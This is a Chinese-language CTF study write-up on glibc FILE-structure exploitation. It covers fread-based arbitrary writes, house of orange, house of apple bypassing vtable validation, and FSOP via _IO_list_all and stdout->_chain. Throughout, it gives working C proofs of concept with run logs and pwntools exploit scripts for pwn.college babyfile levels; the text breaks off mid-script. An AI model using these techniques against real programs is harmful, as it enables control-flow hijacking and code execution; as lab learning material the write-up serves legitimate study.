1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdio.h> #include <assert.h> int key = 0x12345678 ;int main () { FILE *fp; char buffer[100 ]; fp = fopen("./flag" ,"r" ); fp -> _IO_read_ptr = 0 ; fp -> _IO_read_end = 0 ; fp -> _IO_buf_base = &key; fp -> _IO_buf_end = &key + 4 ; fp -> _fileno = 0 ; fread(buffer,1 ,4 ,fp); printf ("%p\n" ,key); return 0 ; }
假设我们能够控制fp
指向的FILE
结构,并能改写其成员
我们希望通过设置fp->_IO_buf_base = target_addr;
触发调用链
1 2 3 4 5 6 fread _IO_sgetn => _IO_file_xsgetn __underflow _IO_UNDERFLOW => _IO_file_underflow _IO_SYSREAD => _IO_file_read __read
从而实现往target_addr
写入任意数据
为了实现这一目的,还需要设置fp的其他参数
-1.fp = fopen("./flag","r");
fp
必须是有读权限的,或者手动设置flag
,不能有IO_NO_READS(0x4)
标志
同时不能有_IO_EOF_SEEN(0x10)
这是因为_IO_file_underflow
会对flag进行检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int _IO_new_file_underflow (FILE *fp) { ssize_t count; if (fp->_flags & _IO_EOF_SEEN) return EOF; if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; }
0.fp -> _IO_buf_base = &key;
任意地址写的关键
1.fp -> _IO_buf_end = &key + 4;
配合0,必须保证end和base之间的距离要大于fread写入的长度,
这是因为_IO_file_xsgetn
中会检查这一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 while (want > 0 ){ have = fp->_IO_read_end - fp->_IO_read_ptr; if (want <= have) { memcpy (s, fp->_IO_read_ptr, want); fp->_IO_read_ptr += want; want = 0 ; } else { if (have > 0 ) { s = __mempcpy(s, fp->_IO_read_ptr, have); want -= have; fp->_IO_read_ptr += have; }
2.fp -> _IO_read_ptr = 0; && fp -> _IO_read_end = 0;
这是因为在_IO_file_underflow
中会检查两者是否相等
1 2 if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr;
3.fp -> _fileno = 0;
给予我们从标准输入获取任意字符到目标地址的权利
[house of orange @ glibc <=
2.23]
通过堆利用手段,控制堆上的FILE
结构体,能够修改vtable
指针,具体怎么堆利用,这不重要
重要的是把vtable
指针修改为构造的假表中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <stdio.h> #include <fcntl.h> void win () { printf ("function win called\n" ); } int main () { FILE *fp; size_t *fake_vtable; size_t *vtable_ptr; size_t *vtable_addr; fake_vtable = malloc (0x100 ); printf ("fake_vtable @ %p\n" , fake_vtable); for (int i=0 ;i<20 ;i++){ fake_vtable[i] = (size_t )win; } fp = fopen("./flag" ,"r" ); printf ("fp @ %p\n" , fp); vtable_ptr = (char *)fp + 0xd8 ; printf ("vtable_ptr = %p\n" , vtable_ptr); vtable_addr = vtable_ptr[0 ]; printf ("original vtable_addr = %p\n" , vtable_addr); *vtable_ptr = fake_vtable; vtable_addr = vtable_ptr[0 ]; printf ("new vtable_addr = %p\n" , vtable_addr); fclose(fp); return 0 ; }
在ubuntu16.04 & glibc-2.23
上实验,成功劫持了虚表
1 2 3 4 5 6 7 8 9 root@Executor:/mnt/c/Users/86135 /Desktop/pwncollege/software/file/test# gcc orange.c -o orange -no-pie -g -no-pie -w root@Executor:/mnt/c/Users/86135 /Desktop/pwncollege/software/file/test# ./orange fake_vtable @ 0x1690010 fp @ 0x1690530 vtable_ptr = 0x1690608 original vtable_addr = 0x7fd1b3f3c6e0 new vtable_addr = 0x1690010 function win called function win called
同样的代码对于更高版本的glibc
无效
1 2 3 4 5 6 7 8 9 ┌──(root㉿Executor)-[/mnt/c/Users/86135 /Desktop/pwncollege/software/file/test] └─# ./orange fake_vtable @ 0x123e2a0 fp @ 0x123e7c0 vtable_ptr = 0x123e898 original vtable_addr = 0x7f4da32ca070 new vtable_addr = 0x123e2a0 Fatal error: glibc detected an invalid stdio handle Aborted (core dumped)
[house of apple @ glibc >
2.23]
针对虚表的攻击通常能够想到两种方式
1.保持虚表地址不变,修改虚表上的函数指针
2.造假虚表,然后修改虚表指针
对于1来说,虚表位于glibc
的代码段,通常是只读的,不允许随便改函数指针
对于2来说,glibc2.23
之前是可以劫持虚表指针的,相关攻击方法叫做house of orange
glibc2.24
之后就加入了虚表的合法性检查
但也不是不能利用了,新方法叫house of apple
1 2 # define _IO_JUMPS_FUNC(THIS) _IO_JUMPS_FILE_plus (THIS)
1 2 # define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
IO_validate_vtable
会检查虚表的合法性
这个虚表合法性检查会发生在何时呢?
fwrite
实际上调用_IO_fwrite
,if
判断通过,会执行__IO_sputn
1 2 if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1 ) == -1 ) written = _IO_sputn (fp, (const char *) buf, request);
这里_IO_sputn
是一个宏定义,会在检查vtable
合法性之后调用vtable.xsputn
函数
1 2 3 #define _IO_sputn(__fp,__s,__n) _IO_XSPUTN (__fp, __s, __n) 扩展到: ((IO_validate_vtable ((*(__typeof__ (((struct _IO_FILE_plus){}).vtable) *)(((char *) ((fp))) + __builtin_offsetof(struct _IO_FILE_plus, vtable)))))->__xsputn) (fp, (const char *) buf, request)
同理,不管fread
还是fwrite
实际上都会在经过vtable
合法性检查后,调用vtable
中的函数
1 2 3 4 5 #define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N) #define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2) #define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
虚表合法性检查了什么呢?
而IO_validate_vtable
会检查虚表是否是glibc
预定义好的虚表
1 2 3 4 5 6 7 8 9 10 11 12 13 static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t ptr = (uintptr_t ) vtable; uintptr_t offset = ptr - (uintptr_t ) &__io_vtables; if (__glibc_unlikely (offset >= IO_VTABLES_LEN)) _IO_vtable_check (); return vtable; }
ptr = vtable
是FILE
结构的虚表指针
const struct _IO_jump_t __io_vtables[]
是vtables.c
中预定义好的虚表数组
在libioP.h
中暴露了这些虚表的引用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 extern const struct _IO_jump_t __io_vtables [] attribute_hidden ;#define _IO_str_jumps (__io_vtables[IO_STR_JUMPS]) #define _IO_wstr_jumps (__io_vtables[IO_WSTR_JUMPS]) #define _IO_file_jumps (__io_vtables[IO_FILE_JUMPS]) #define _IO_file_jumps_mmap (__io_vtables[IO_FILE_JUMPS_MMAP]) #define _IO_file_jumps_maybe_mmap (__io_vtables[IO_FILE_JUMPS_MAYBE_MMAP]) #define _IO_wfile_jumps (__io_vtables[IO_WFILE_JUMPS]) #define _IO_wfile_jumps_mmap (__io_vtables[IO_WFILE_JUMPS_MMAP]) #define _IO_wfile_jumps_maybe_mmap (__io_vtables[IO_WFILE_JUMPS_MAYBE_MMAP]) #define _IO_cookie_jumps (__io_vtables[IO_COOKIE_JUMPS]) #define _IO_proc_jumps (__io_vtables[IO_PROC_JUMPS]) #define _IO_mem_jumps (__io_vtables[IO_MEM_JUMPS]) #define _IO_wmem_jumps (__io_vtables[IO_WMEM_JUMPS]) #define _IO_printf_buffer_as_file_jumps (__io_vtables[IO_PRINTF_BUFFER_AS_FILE_JUMPS]) #define _IO_wprintf_buffer_as_file_jumps (__io_vtables[IO_WPRINTF_BUFFER_AS_FILE_JUMPS]) #define _IO_old_file_jumps (__io_vtables[IO_OLD_FILE_JUMPS]) #define _IO_old_proc_jumps (__io_vtables[IO_OLD_PROC_JUMPS]) #define _IO_old_cookie_jumps (__io_vtables[IO_OLD_COOKIED_JUMPS])
1 2 3 4 #define IO_VTABLES_LEN (IO_VTABLES_NUM * sizeof (struct _IO_jump_t)) IO_VTABLES_NUM = 14 sizeof (struct _IO_jump_t) = 168 IO_VTABLES_LEN = 14 *168 = 2352
也就是说一共有14个预定义的虚表
通常情况下使用的虚表是_IO_file_jumps = __io_vtables[IO_FILE_JUMPS]
IO_validate_vtable
检查虚表必须是这14个其中之一 ,防止被用户劫持篡改指向了堆栈或者堆
如何绕过虚表检查呢?
当fread函数被调用时,调用过程是这样的:
1 2 3 4 5 6 7 _IO_fread _IO_sgetn _IO_XSGETN JUMP2 _IO_JUMPS_FUNC => IO_validate_vtable _IO_JUMPS_FILE_plus
IO_validate_vtable
是必然被调用的,检查的是_IO_FILE_plus.vtable
然而在_IO_XSGETN
宏定义这里还有一个兄弟叫_IO_WXSGETN
1 2 3 #define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N) #define _IO_WXSGETN(FP, DATA, N) WJUMP2 (__xsgetn, FP, DATA, N)
这个兄弟宏定义展开发现是没有_IO_validate_vtable
这种检查的,会直接调用到_IO_FILE._wide_data->_wide_vtable
中的函数
1 2 3 4 5 _IO_WXSGETN WJUMP2 _IO_WIDE_JUMPS_FUNC _IO_WIDE_JUMPS _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
也就是说劫持_wide_vtable
虚表指针是不会被检查的
而_wide_data
结构体位于libc
的只读内存区中,无法修改其中的_wide_vtable
,因此还需要伪造一个_wide_data
并且只劫持_wide_vtable
还不够,因为正常情况下控制流是绝对不会进入任何一个宽字节相关函数的
所以还需要把_IO_FILE_plus.vtable
改成IO_WFILE_JUMPS
最后再调用一个fwrite
接下来控制流是这样的:
1 2 3 4 5 6 7 8 9 fwrite => vtable+0x38 => _IO_wfile_xsputn => _IO_wdefault_xsputn @ glibc/libio/wgenops.c => __woverflow => vtable+0x18 => _IO_wfile_overflow => _IO_wdoallocbuf => _IO_WDOALLOCATE (wide_data.wide_vtable+0x68 => win )
总结
总的来说,需要干这么几步:
1 2 3 4 5 6 7 0.泄露libc基地址,计算得到_IO_wfile_jumps表的地址 1.构造fake_wide_vtable,在其中填充目标函数(关键是+0x68位置) 2.构造fake_wide_data,使得其偏移0xe0处的_wide_vtable指针吗,指向1中构造的fake_wide_vtable 3.修改FILE.flag |= ~(_IO_CURRENTLY_PUTTING | _IO_NO_WRITES | _IO_UNBUFFERED) // ~(0x800 | 0x8 | 0x2) 4.修改FILE.vtable指向3中泄露的_IO_wfile_jumps 5.修改FILE._wide_data指向2中构造的fake_wide_data 6.fwrite触发house of apple
这里复位了三个flag
,各自的作用是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 wint_t _IO_wfile_overflow (FILE *f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL ) { if (f->_wide_data->_IO_write_base == 0 ) { _IO_wdoallocbuf (f); _IO_free_wbackup_area (f); _IO_wsetg (f, f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base); if (f->_IO_write_base == NULL ) { _IO_doallocbuf (f); _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); } }
1 2 3 4 5 6 7 8 9 10 11 void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return ; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t )_IO_WDOALLOCATE (fp) != WEOF) return ; _IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1 , 0 ); }
写个poc意思意思
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <stdio.h> #define _NR_sysexit 0x3C void win () { printf ("function win called\n" ); syscall(_NR_sysexit); } int main () { size_t * libc_base_addr; size_t * _IO_wfile_jumps; size_t * fake_wide_vtable; size_t * fake_wide_data; FILE * fp; size_t * vtable_ptr; size_t * vtable_addr; size_t * wide_data_ptr; size_t * wide_data_addr; size_t * wide_vtable_ptr; size_t * wide_vtable_addr; char buffer[100 ]; printf ("function printf @ %p\n" , printf ); libc_base_addr = (char *) printf - 0x54110 ; _IO_wfile_jumps = (char *)libc_base_addr + 0x1d5268 ; printf ("_IO_wfile_jumps @ %p\n" ,_IO_wfile_jumps); fake_wide_vtable = malloc (0x100 ); for (int i=0 ;i<20 ;++i){ fake_wide_vtable[i]=win; } fake_wide_data = malloc (0x100 ); fake_wide_data[28 ] = fake_wide_vtable; fp = fopen("./flag" , "w" ); fp->_flags |= ~(0x800 | 0x8 | 2 ); vtable_ptr = (char *)fp + 0xd8 ; *vtable_ptr = _IO_wfile_jumps; wide_data_ptr = (char *)fp + 0xa0 ; *wide_data_ptr = fake_wide_data; fwrite(buffer,1 ,100 ,fp); fclose(fp); return 0 ; }
基于glibc2.38
做实验,win
函数被调用了
1 2 3 4 5 6 7 8 ┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test] └─# gcc apple.c -o apple -g -no-pie -w ┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test] └─# ./apple function printf @ 0x7f7e72eba110 _IO_wfile_jumps @ 0x7f7e7303b268 function win called
FSOP
上集说到,house of apple
在构造好了FILE
之后,还要对其进行一个fwrite
等操作触发到_IO_wfile_overflow
函数
在本集中,不需要 调用fwrite
等操作,也可以触发,相关攻击方式叫做FSOP(File Structure Oriented Programming)
程序退出时,会有这么一条调用链
1 2 3 4 5 6 exit _run_exit_handlers _IO_cleanup _IO_flush_all _IO_OVERFLOW vtable + 0x18 => _IO_file_overflow
这个_IO_flush_all
中会把_IO_list_all
上挂着的都尝试一下_IO_OVERFLOW
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 for (fp = (FILE *) _IO_list_all; fp != NULL ; fp = fp->_chain) { run_fp = fp; _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; _IO_funlockfile (fp); run_fp = NULL ; }
这里能够执行_IO_OVERFLOW
的条件是下式为真
1 2 3 4 5 6 7 8 9 (fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || ( _IO_vtable_offset(fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) )
翻译成人话就是下面两条有一条为真 即可
1 2 1.如果fp->_mode<=0,还需要满足fp->_IO_write_ptr > fp->_IO_write_base 2.如果fp->_mode> 0,还需要满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
如果能够使用house of apple
的方法,
使得的vtable
指向_IO_wfile_jumps
,然后构造wide_data
,并使其wide_vtable
指向假的虚表,假表相应位置填充win
函数地址
然后将这个FILE挂到_IO_list_all
链上
就可以调用到win
函数
1 2 3 4 5 6 7 8 9 exit _run_exit_handlers _IO_cleanup _IO_flush_all _IO_OVERFLOW vtable + 0x18 => _IO_wfile_overflow _IO_wdoallocbuf _IO_WDOALLOCATE wide_data.wide_vtable + 0x68 => win
写一个poc意思意思
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 #include <stdio.h> #define _NR_sysexit 0x3C void win () { printf ("function win called\n" ); syscall(_NR_sysexit); } int main () { FILE * fake_fp; size_t * libc_addr; size_t * IO_list_all_addr; size_t * IO_wfile_jumps; size_t * fake_wide_vtable; size_t * fake_wide_data; size_t * vtable_ptr; size_t * wide_data_ptr; printf ("function printf addr = %p\n" , printf ); libc_addr = (char *) printf - 0x54110 ; IO_list_all_addr = (char *) libc_addr + 0x1d74c0 ; IO_wfile_jumps = (char *) libc_addr + 0x1d5268 ; printf ("libc_addr = %p\n" , libc_addr); printf ("IO_list_all_addr = %p\n" , IO_list_all_addr); printf ("IO_wfile_jumps = %p\n" , IO_wfile_jumps); fake_wide_vtable = malloc (0x100 ); for (int i=0 ;i<20 ;++i){ fake_wide_vtable[i] = win; } fake_wide_data = malloc (0x100 ); fake_wide_data[28 ] = fake_wide_vtable; fake_fp = malloc (0x100 ); memset (fake_fp,0 ,0x100 ); fake_fp -> _flags = ~(0x800 | 0x8 |0x2 ); fake_fp -> _mode = 0 ; fake_fp -> _IO_write_ptr = 1 ; fake_fp -> _IO_write_base = 0 ; vtable_ptr = (char *)fake_fp + 0xd8 ; *vtable_ptr = IO_wfile_jumps; wide_data_ptr = (char *)fake_fp + 0xa0 ; *wide_data_ptr = fake_wide_data; printf ("fake_fp @ %p\n" , fake_fp); printf ("orignal _IO_list_all points to %p\n" , *IO_list_all_addr); *IO_list_all_addr = fake_fp; printf ("new _IO_list_all points to %p\n" , *IO_list_all_addr); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 ┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test] └─# gcc fsop1.c -o fsop1 -w ┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test] └─# ./fsop1 function printf addr = 0x7fb0bbddc110libc_addr = 0x7fb0bbd88000 IO_list_all_addr = 0x7fb0bbf5f4c0 IO_wfile_jumps = 0x7fb0bbf5d268 fake_fp @ 0x55fbae0cc8d0 orignal _IO_list_all points to 0x7fb0bbf5f4e0 new _IO_list_all points to 0x55fbae0cc8d0 function win called
如果能够控制fopen
并且不fclose
关闭资源则更简单,
fopen
会自动让假fp
上链,
不fclose
的话fp
就不会下链,
因此此时程序退出,也可以触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 #include <stdio.h> #define _NR_sysexit 0x3C void win () { printf ("function win called\n" ); syscall(_NR_sysexit); } int main () { FILE * fp; size_t * libc_addr; size_t * IO_list_all; size_t * IO_wfile_jumps; size_t * fake_wide_vtable; size_t * fake_wide_data; size_t * vtable_ptr; size_t * wide_data_ptr; char buffer[100 ]; printf ("function printf addr = %p\n" , printf ); libc_addr = (char *) printf - 0x54110 ; IO_wfile_jumps = (char *) libc_addr + 0x1d5268 ; printf ("libc_addr = %p\n" , libc_addr); printf ("IO_wfile_jumps = %p\n" , IO_wfile_jumps); fake_wide_vtable = malloc (0x100 ); for (int i=0 ;i<20 ;++i){ fake_wide_vtable[i] = win; } fake_wide_data = malloc (0x100 ); fake_wide_data[28 ] = fake_wide_vtable; fp = fopen("./flag" , "w" ); fp->_flags |= ~(0x800 | 0x8 |0x2 ); fp->_mode = 0 ; fp->_IO_write_ptr = 1 ; fp->_IO_write_base = 0 ; vtable_ptr = (char *)fp + 0xd8 ; *vtable_ptr = IO_wfile_jumps; wide_data_ptr = (char *)fp + 0xa0 ; *wide_data_ptr = fake_wide_data; return 0 ; }
1 2 3 4 5 6 7 8 9 ┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test] └─# gcc fsop.c -o fsop -w ┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test] └─# ./fsop function printf addr = 0x7f218fb94110libc_addr = 0x7f218fb40000 IO_wfile_jumps = 0x7f218fd15268 function win called
也可以通过修改stdout->_chain
指向假FILE
实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 #include <stdio.h> #define _NR_sysexit 0x3C void win () { puts ("function win called" ); syscall(_NR_sysexit); } int main () { size_t * libc_base_addr; size_t * _IO_wfile_jumps; size_t * fake_wide_vtable; size_t * fake_wide_data; FILE * fp; size_t * vtable_ptr; size_t * vtable_addr; size_t * wide_data_ptr; size_t * wide_data_addr; size_t * wide_vtable_ptr; size_t * wide_vtable_addr; char buffer[100 ]; printf ("function printf @ %p\n" , printf ); libc_base_addr = (char *) printf - 0x54110 ; _IO_wfile_jumps = (char *)libc_base_addr + 0x1d5268 ; printf ("_IO_wfile_jumps @ %p\n" ,_IO_wfile_jumps); fake_wide_vtable = malloc (0x100 ); for (int i=0 ;i<20 ;++i){ fake_wide_vtable[i]=_IO_wfile_jumps[i]; } fake_wide_vtable[13 ] = (size_t )win; fake_wide_data = malloc (0x100 ); fake_wide_data[28 ] = fake_wide_vtable; fp = fopen("./flag" ,"w" ); fp->_flags |= ~(0x800 | 0x8 | 2 ); fp->_IO_write_ptr =1 ; fp->_IO_write_end =0 ; fp->_mode=0 ; vtable_ptr = (char *)fp + 0xd8 ; *vtable_ptr = _IO_wfile_jumps; wide_data_ptr = (char *)fp + 0xa0 ; *wide_data_ptr = fake_wide_data; stdout ->_chain = fp; return 0 ; }
level1
篡改位于堆上的FILE
结构,使其文件描述符fileno
为1,也就是到标准输出
使其缓冲区位于泄露地址上
举一个例子
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <fcntl.h> char flag[]="flag{secret}" ;int main () { printf ("flag @ %p\n" ,flag); char buffer[0x100 ]; FILE *fp = fopen("./flag" , "w" ); read(0 ,fp,480 ); fwrite(buffer,1 ,0x100 ,fp); return 0 ; }
level7
level7
题目中给的提示是这样的:
This can be done by creating a fake _wide_data struct which will not
have a security check on the vtable.
意思是篡改_wide_data.vtable
指针不会被检查
在一个FILE
结构体中,理论上有两个vtable
指针,一个_IO_FILE_plus + 0xd8
处的vtable
指针
1 2 3 4 5 6 7 pwndbg> ptype/xo struct _IO_FILE_plus /* offset | size */ type = struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable ; }
还有一个在_IO_FILE._wide_data._wide_vtable
1 2 _IO_FILE + 0xa0 => _wide_data _wide_data + 0xe0 => _wide_vtable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pwndbg> ptype/xo struct _IO_wide_data /* offset | size */ type = struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt { _IO_iconv_t __cd_in; _IO_iconv_t __cd_out; } _codecvt; wchar_t _shortbuf[1 ]; const struct _IO_jump_t *_wide_vtable ; }
既然_IO_FILE
本身就自带一个vtable
,那么level7
为何还要多此一举去改_IO_FILE._wide_data._wide_vtable
?
因为pwncollege
提供的靶场环境中使用的libc
版本是Ubuntu GLIBC 2.31-0ubuntu9.16
在Glibc 2.23
之前是可以直接修改_IO_FILE.vtable
指针的,
相关攻击方式被称为house of orange
,
此攻击可以在how2heap
靶场学习,ubuntu16.04
有Glibc2.23
环境
但Glibc 2.24
之后就加入了对_IO_FILE.vtable
指针的范围检查,只能在glibc
内存区中的某个特定位置,不允许指向堆区或者栈区
但是_IO_FILE._wide_data._wide_vtable
还是没有检查的,相关攻击方式被称为house of apple
吃完apple
回来,可以做level7题了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *from LibcSearcher import * context.arch = "amd64" p = process("./babyfile_level7" ) win_addr = 0x4012E6 p.recvuntil(b'[LEAK] The address of puts() within libc is: ' ) puts_addr = p.recvuntil(b'\n' , drop=True ) puts_addr = int (puts_addr,16 ) p.recvuntil(b'[LEAK] The name buffer is located at: ' ) name_addr = p.recvuntil(b'\n' , drop=True ) name_addr = int (name_addr,16 ) print ("puts_addr = " ,hex (puts_addr))print ("name_addr = " ,hex (name_addr))libc = LibcSearcher("puts" , puts_addr) libc_addr = puts_addr - libc.dump("puts" ) vtable_addr = libc_addr + libc.dump("_IO_file_jumps" ) wide_vtable_addr =libc_addr + libc.dump("_IO_wfile_jumps" ) print ("libc @ %p" ,hex (libc_addr))print ("vtable = " ,hex (vtable_addr))print ("wide_vtable = " ,hex (wide_vtable_addr)) fake_wide_data_addr = name_addr fake_wide_vtable_addr = name_addr + 0x80 fake_wide_data =p64(0 ) * 28 fake_wide_data += p64(fake_wide_vtable_addr) fake_wide_data += p64(win_addr) p.send(fake_wide_data) fp = FileStructure() fp.flags = ~(0x800 | 0x8 | 2 ) fp.vtable = wide_vtable_addr fp._wide_data = name_addr payload = bytes (fp) print (fp)p.send(payload) p.interactive()
level9
level9
中有一个函数authenticated
可以ret2text
level9
首先泄露的puts
的地址
level9
给的利用点就是可以往_IO_2_1_stdout_
结构体写入最多0x1e0
个字节
最初的想法是直接修改
1 2 stdout -> vtable = _IO_wfile_jumps stdout -> _wide_data -> _wide_vtable -> _IO_wfile_doallocate = authenticated
这样在下次puts
或者printf
时就可以触发authenticated
函数
然而很不幸
authenticated
中在使用write(1,flag_buffer,flag_length)
打印flag之前,还有一个puts("You win! Here is your flag:");
这会导致什么呢?
puts调用authenticated
authenticated调用puts
puts调用authenticated
authenticated调用puts
…
发生了递归调用的悲剧, 最终程序会因为爆栈内存导致段错误
原因是puts
默认使用的就是stdout
,而我们改的也正是stdout
可以通过这个poc调试观察这个悲剧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 #include <stdio.h> #define _NR_sysexit 0x3C void win () { puts ("function win called" ); syscall(_NR_sysexit); } int main () { size_t * libc_base_addr; size_t * _IO_wfile_jumps; size_t * fake_wide_vtable; size_t * fake_wide_data; FILE * fp; size_t * vtable_ptr; size_t * vtable_addr; size_t * wide_data_ptr; size_t * wide_data_addr; size_t * wide_vtable_ptr; size_t * wide_vtable_addr; char buffer[100 ]; printf ("function printf @ %p\n" , printf ); libc_base_addr = (char *) printf - 0x54110 ; _IO_wfile_jumps = (char *)libc_base_addr + 0x1d5268 ; printf ("_IO_wfile_jumps @ %p\n" ,_IO_wfile_jumps); fake_wide_vtable = malloc (0x100 ); for (int i=0 ;i<20 ;++i){ fake_wide_vtable[i]=_IO_wfile_jumps[i]; } fake_wide_vtable[13 ] = (size_t )win; fake_wide_data = malloc (0x100 ); fake_wide_data[28 ] = fake_wide_vtable; fp = fopen("./flag" ,"w" ); fp->_flags |= ~(0x800 | 0x8 | 2 ); fp->_IO_write_ptr =1 ; fp->_IO_write_end =0 ; fp->_mode=0 ; vtable_ptr = (char *)fp + 0xd8 ; *vtable_ptr = _IO_wfile_jumps; wide_data_ptr = (char *)fp + 0xa0 ; *wide_data_ptr = fake_wide_data; stdout = fp; puts ("hello" ); return 0 ; }
在win上下断点发现win确实可以调用,但是win中的puts会递归调用到win
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pwndbg> bt ...
虽然上述poc验证了这个悲剧
但是这个poc也给我另一个想法
如果在这里我们保持stdout的完整性,只是改变其后继指针_chain
1 2 //6.fp借助stdout上链 stdout -> _chain = fp;
然后在程序退出时利用FSOP
的机制, win就会被调用,
实验证明确实如此
1 2 3 4 5 6 ┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test] └─# ./stdout function printf @ 0x7f220bf40110_IO_wfile_jumps @ 0x7f220c0c1268 hello function win called
一个struct _IO_FILE_plus
大小是0xe0 B
,两个就是0x1c0 B
而level9
允许我们写入0x1e0 B
,能放开两个struct _IO_FILE_plus
还能剩下0x20 B
空间用于布置wide_data
和wide_vtable
溢出时stdout
首当其冲, 我们需要保持其flag
,
vtable
不变 ,
并且给其lock
找一个合适的地方(一个可写且值为0的地方)
接下来的溢出会毁坏libc
中的一些数据,
但是不会影响到控制流, 狠狠搞坏它
画在图上意思意思
stdout->_chain = fake_fp
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *from LibcSearcher import *context.arch = 'amd64' p = process("./babyfile_level9" ) authenticated_addr = 0x401866 p.recvuntil('[LEAK] The address of puts() within libc is: ' ) puts_addr = p.recvuntil('\n' ,drop = True ) puts_addr = int (puts_addr,16 ) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) stdout_addr = libc_base + libc.dump('_IO_2_1_stdout_' ) _IO_file_jumps_addr = libc_base + libc.dump('_IO_file_jumps' ) _IO_wfile_jumps_addr = libc_base + libc.dump('_IO_wfile_jumps' ) fake_fp_addr = stdout_addr + 0xe0 print ("stdout 